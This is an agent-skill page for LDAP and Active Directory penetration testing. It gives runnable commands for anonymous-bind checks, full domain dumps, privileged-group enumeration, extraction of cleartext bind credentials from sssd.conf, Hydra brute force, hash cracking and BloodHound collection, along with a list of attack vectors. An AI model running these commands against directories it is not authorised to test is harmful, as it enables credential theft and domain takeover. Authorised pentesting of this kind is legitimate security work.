# Ldap Pentest

> Perform LDAP/Active Directory pentesting including enumeration, anonymous access testing, credential attacks, and domain information extraction. Use this skill whenever the user mentions LDAP, Active Directory, directory services, ports 389/636/3268/3269, ldapsearch, windapsearch, ldapdomaindump, or wants to enumerate users/groups/computers from a domain. Also trigger for AD reconnaissance, LDAP brute force, anonymous bind testing, or extracting domain information.

- Skill: `abelrguezr/ldap-pentest` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/ldap-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/ldap-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/ldap-pentest

---


# LDAP Pentesting Skill

A comprehensive guide for testing LDAP and Active Directory services for security vulnerabilities.

## Quick Start

```bash
# Basic enumeration (anonymous)
nmap -p 389,636 --script ldap-search -Pn <IP>

# Check anonymous access
ldapsearch -H ldap://<IP> -x -s base -b "" "(objectClass=*)" "*" +

# With credentials
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' -b "DC=<domain>,DC=<tld>"
```

## LDAP Basics

**Default Ports:**
- 389/tcp - LDAP (unencrypted)
- 636/tcp - LDAPS (SSL/TLS)
- 3268/tcp - Global Catalog (AD)
- 3269/tcp - Global Catalog SSL (AD)

**Directory Structure:**
```
Root (dc=local)
├── Organization (dc=moneycorp,dc=local)
│   ├── Organizational Units (ou=it, ou=marketing)
│   └── Objects (cn=user, cn=computer)
```

## Step 1: Initial Reconnaissance

### Banner Grabbing

```bash
nmap -n -sV --script "ldap* and not brute" <IP>
```

### Check Service Availability

```bash
# Test LDAP ports
nc -zv <IP> 389 636 3268 3269

# Get naming context (domain name)
ldapsearch -H ldap://<IP> -x -s base namingcontexts
```

### Anonymous Access Testing

```bash
# Try anonymous bind
ldapsearch -H ldap://<IP> -x -s base -b "" "(objectClass=*)" "*" +

# Try with arbitrary SNI (bypass TLS check)
ldapsearch -H ldaps://<IP>:636/ -x -s base -b "" "(objectClass=*)" "*" +

# Using NetExec for null bind
netexec ldap <IP> -u '' -p '' --query "(objectClass=*)" ""
```

## Step 2: Enumeration with Credentials

### Basic User/Group/Computer Enumeration

```bash
# Extract users
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
  -b "CN=Users,DC=<domain>,DC=<tld>" "(objectClass=person)" sAMAccountName userPrincipalName

# Extract computers
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
  -b "CN=Computers,DC=<domain>,DC=<tld>" "(objectClass=computer)" name

# Extract groups
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
  -b "DC=<domain>,DC=<tld>" "(objectClass=group)" cn member
```

### Extract Privileged Groups

```bash
# Domain Admins
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
  -b "CN=Domain Admins,CN=Users,DC=<domain>,DC=<tld>" "(objectClass=*)" sAMAccountName

# Enterprise Admins
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
  -b "CN=Enterprise Admins,CN=Users,DC=<domain>,DC=<tld>" "(objectClass=*)" sAMAccountName

# Administrators (Builtin)
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
  -b "CN=Administrators,CN=Builtin,DC=<domain>,DC=<tld>" "(objectClass=*)" sAMAccountName

# Remote Desktop Users
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
  -b "CN=Remote Desktop Users,CN=Builtin,DC=<domain>,DC=<tld>" "(objectClass=*)" sAMAccountName
```

### Full Domain Dump

```bash
# Dump everything from domain
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
  -b "DC=<domain>,DC=<tld>" "(objectClass=*)" "*"

# Look for password hashes
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
  -b "DC=<domain>,DC=<tld>" "(objectClass=*)" "*" | grep -i -A2 -B2 "userpas"
```

## Step 3: Advanced Enumeration Tools

### windapsearch

```bash
# Get computers
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --computers

# Get groups
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --groups

# Get users
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --users

# Get Domain Admins
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --da

# Get Privileged Users
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --privileged-users
```

### ldapdomaindump

```bash
# Full domain dump with credentials
ldapdomaindump <IP> -u '<domain>\\<username>' -p '<password>' \
  --authtype SIMPLE --no-json --no-grep -o /path/to/output

# With relay IP (for Kerberos)
ldapdomaindump <IP> -r <relay_ip> -u '<domain>\\<username>' -p '<password>'
```

### NetExec (CME successor)

```bash
# BloodHound data collection
netexec ldap <IP> -u <user> -p <password> --bloodhound -c All \
  -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp

# Anonymous enumeration
netexec ldap <IP> -u '' -p '' --query "(sAMAccountName=*)" ""

# Extract specific attributes
netexec ldap <IP> -u '' -p '' --query "(sAMAccountName=*)" "" \
  | awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
```

## Step 4: Client-Side Artifacts (Linux)

When you have access to a Linux host integrated with LDAP/AD:

```bash
# Check for LDAP configuration files
ls -l /etc/sssd/sssd.conf /etc/nslcd.conf /etc/ldap/ldap.conf /etc/krb5.conf 2>/dev/null

# Extract sensitive configuration
grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\s*=' \
  /etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null

# View SSSD configuration
sed -n '1,120p' /etc/sssd/sssd.conf 2>/dev/null

# Test LDAP connection with found credentials
ldapsearch -x -H ldap://<target> -D "<bind-dn>" -w '<password>' -b "<base-dn>"
```

**What to look for:**
- World-readable `sssd.conf` / `nslcd.conf`
- Cleartext bind credentials (`ldap_default_authtok`)
- Directory-backed SSH or sudo integrations

## Step 5: Password Attacks

### Brute Force with Hydra

```bash
# LDAP brute force
hydra -l <username> -P <password_list> <IP> ldap2 -V -f

# With domain
hydra -L <user_list> -P <password_list> <IP> ldap -l <domain>\\
```

### Password Hash Extraction

```bash
# From LDAP database files (if accessible)
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

# Feed to John the Ripper
john --format=SSHA <hash_file>
```

## Step 6: Graphical Tools

### Apache Directory Studio
- Download: https://directory.apache.org/studio/download/download-linux.html
- Use for visual LDAP browsing and modification

### jxplorer
- Download: http://www.jxplorer.org/downloads/users.html
- Default install: `/opt/jxplorer`

### Godap
- Interactive TUI for LDAP/AD
- Supports: simple binds, pass-the-hash, pass-the-ticket, pass-the-cert
- Features: search/create/change/delete objects, group management, password changes, DACL editing
- GitHub: https://github.com/Macmod/godap

### Ldapx
- LDAP proxy for traffic inspection/transformation
- Can bypass identity protection & monitoring tools
- GitHub: https://github.com/Macmod/ldapx

## Common Attack Vectors

### 1. Anonymous Information Disclosure
- Enumerate users, groups, computers without credentials
- Extract password policy information
- Map domain structure for targeted attacks

### 2. Credential Harvesting
- Sniff cleartext credentials (LDAP without SSL)
- MITM attacks with certificate downgrade
- Extract bind credentials from client configs

### 3. Privilege Escalation
- Modify `sshPublicKey` attribute for SSH access
- Add users to privileged groups
- Change password attributes

### 4. Password Spraying
- Use enumerated usernames with common passwords
- Target accounts with specific attributes (pwdLastSet patterns)

## Python LDAP Enumeration

```python
import ldap3

# Connect without credentials (anonymous)
server = ldap3.Server('<IP>', get_info=ldap3.ALL, port=636, use_ssl=True)
connection = ldap3.Connection(server)
connection.bind()

# Get server info
print(server.info)

# Search all objects
connection.search(
    search_base='DC=DOMAIN,DC=DOMAIN',
    search_filter='(&(objectClass=*))',
    search_scope='SUBTREE',
    attributes='*'
)

# Print entries
for entry in connection.entries:
    print(entry)

# With credentials
connection = ldap3.Connection(
    server,
    'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN',
    'PASSWORD',
    auto_bind=True
)
```

## pbis-open Commands

If pbis is installed (`/opt/pbis`):

```bash
# Read keytab
./klist -k /etc/krb5.keytab

# Get domain info
./get-status
./lsa get-status

# Enumerate users/groups
./enum-users
./enum-groups
./enum-objects

# Get group membership
./list-groups-for-user <username>
./enum-members --by-name "domain admins"

# Search with adtool
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username>
```

## Kerberos Authentication

```bash
# Authenticate via Kerberos instead of NTLM
ldapsearch -x -H ldap://<IP> -Y GSSAPI -b "DC=<domain>,DC=<tld>"
```

## Configuration Files to Check

- `containers.ldif`
- `ldap.cfg`, `ldap.conf`, `ldap.xml`
- `slapd.conf`
- `msadClassesAttrs.ldif` (Microsoft AD)
- `nsslapd.sas_at.conf`, `nsslapd.sas_oc.conf` (Netscape)
- `slapd.sas_at.conf`, `slapd.sas_oc.conf` (OpenLDAP)

## Quick Reference

| Task | Command |
|------|---------|
| Banner grab | `nmap -p 389 --script ldap-search -Pn <IP>` |
| Anonymous test | `ldapsearch -H ldap://<IP> -x` |
| Get naming context | `ldapsearch -H ldap://<IP> -x -s base namingcontexts` |
| Dump domain | `ldapsearch -x -H ldap://<IP> -D '<user>' -w '<pass>' -b "DC=<domain>,DC=<tld>"` |
| Extract users | `ldapsearch ... -b "CN=Users,DC=<domain>,DC=<tld>"` |
| Extract computers | `ldapsearch ... -b "CN=Computers,DC=<domain>,DC=<tld>"` |
| Brute force | `hydra -l <user> -P <list> <IP> ldap2 -V -f` |
| BloodHound | `nxc ldap <IP> -u <user> -p <pass> --bloodhound -c All -d <DOMAIN>` |

## Safety Notes

- Always have proper authorization before testing
- Anonymous enumeration may be logged and trigger alerts
- Brute force attacks can lock accounts
- Modifying LDAP attributes can break services
- Document all findings for remediation

## References

- [HackTricks LDAP Pentesting](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html)
- [NetExec Documentation](https://github.com/Pennyw0rth/NetExec)
- [Microsoft: Anonymous LDAP Operations](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
- [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
- [windapsearch](https://github.com/ropnop/windapsearch)
- [Godap](https://github.com/Macmod/godap)
- [Ldapx](https://github.com/Macmod/ldapx)

